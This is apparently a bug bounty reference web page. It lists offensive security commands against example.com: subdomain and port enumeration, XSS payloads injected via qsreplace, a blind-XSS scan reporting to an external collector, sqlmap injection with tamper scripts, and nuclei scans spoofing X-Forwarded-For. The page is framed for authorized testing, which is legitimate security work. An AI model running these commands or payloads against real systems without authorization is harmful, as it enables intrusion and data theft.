Bug Bounty Toolkit

Bug hunting, without the fog.

A curated, searchable library of security commands and methodologies for authorized testing. Reference material only — use only on systems you own or have explicit written permission to test.

123Commands
17Categories
6Methodologies
Commands below update live with your target
Authorization required. These commands are reference material. Running any of them against a system without authorization may be illegal. The Service and its operators are not responsible for how you use this information.

Reference

Command Library

Searchable security commands organized by category — each command rewrites with your target domain.

Showing 123 of 123 commands in 17 categories
Recon Map the attack surface — subdomains, live hosts, ports, URLs and client-side code.
  • subfinder

    Basic Subdomain Discovery

    Discovers subdomains using subfinder with recursive enumeration and saves results to a file.

    $ subfinder -d example.com -all -recursive > subdomain.txt
  • httpx-toolkit

    Live Subdomain Filtering

    Filters discovered subdomains using httpx and saves the alive ones to a file.

    $ cat subdomain.txt | httpx-toolkit -ports 80,443,8080,8000,8888 -threads 200 > subdomain_alive.txt
  • subzy

    Subdomain Takeover Check

    Checks for subdomain takeover vulnerabilities using subzy.

    $ subzy run --targets subdomain.txt --concurrency 100 --hide_fails --verify_ssl
  • sort

    Command

    $ waybackurls example.com | sort -u
  • sort

    Command

    $ gau --subs example.com | sort -u
  • gospider

    Command

    $ gospider -s https://example.com -a -w -r
  • hakrawler

    Command

    $ hakrawler -url https://example.com -depth 3 -plain
  • katana

    Command

    $ katana -u https://example.com -silent
  • nmap

    Command

    $ nmap -sV -sC -T4 example.com
  • masscan

    Command

    $ masscan -p1-65535 --rate=1000 example.com
  • naabu

    Command

    $ naabu -host example.com -silent
  • getjs

    Command

    $ getjs --url https://example.com --complete
  • linkfinder

    Command

    $ linkfinder -i https://example.com -o endpoints.txt
  • subjs

    Command

    $ subjs -u https://example.com
Injection Probe every input: reflected & stored XSS, path traversal, and SQL injection.
  • dalfox

    Command

    $ dalfox url https://example.com/page.php?id=1
  • dalfox

    Command

    $ dalfox file urls.txt --blind https://your.xss.ht
  • xsscrapy

    Command

    $ xsscrapy -u https://example.com
  • kxss

    Command

    $ kxss -u https://example.com/page.php?q=test
  • freq

    Command

    $ cat urls.txt | grep "=" | qsreplace "><svg/onload=alert(1)>" | freq
  • freq

    Command

    $ cat urls.txt | grep "=" | qsreplace "\"><img src=x onerror=alert(1)>" | freq
  • nuclei

    Command

    $ nuclei -l urls.txt -t http/cves -t http/vulnerabilities -t http/exposures
  • nuclei

    Command

    $ nuclei -l urls.txt -tags xss
  • nuclei

    Command

    $ nuclei -l urls.txt -tags xss -rl 100 -H "X-Forwarded-For: 127.0.0.1"
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --crawl=3
  • sqlmap

    Command

    $ sqlmap -u "https://example.com/page.php?id=1" --tamper=space2comment --batch
  • freq

    Command

    $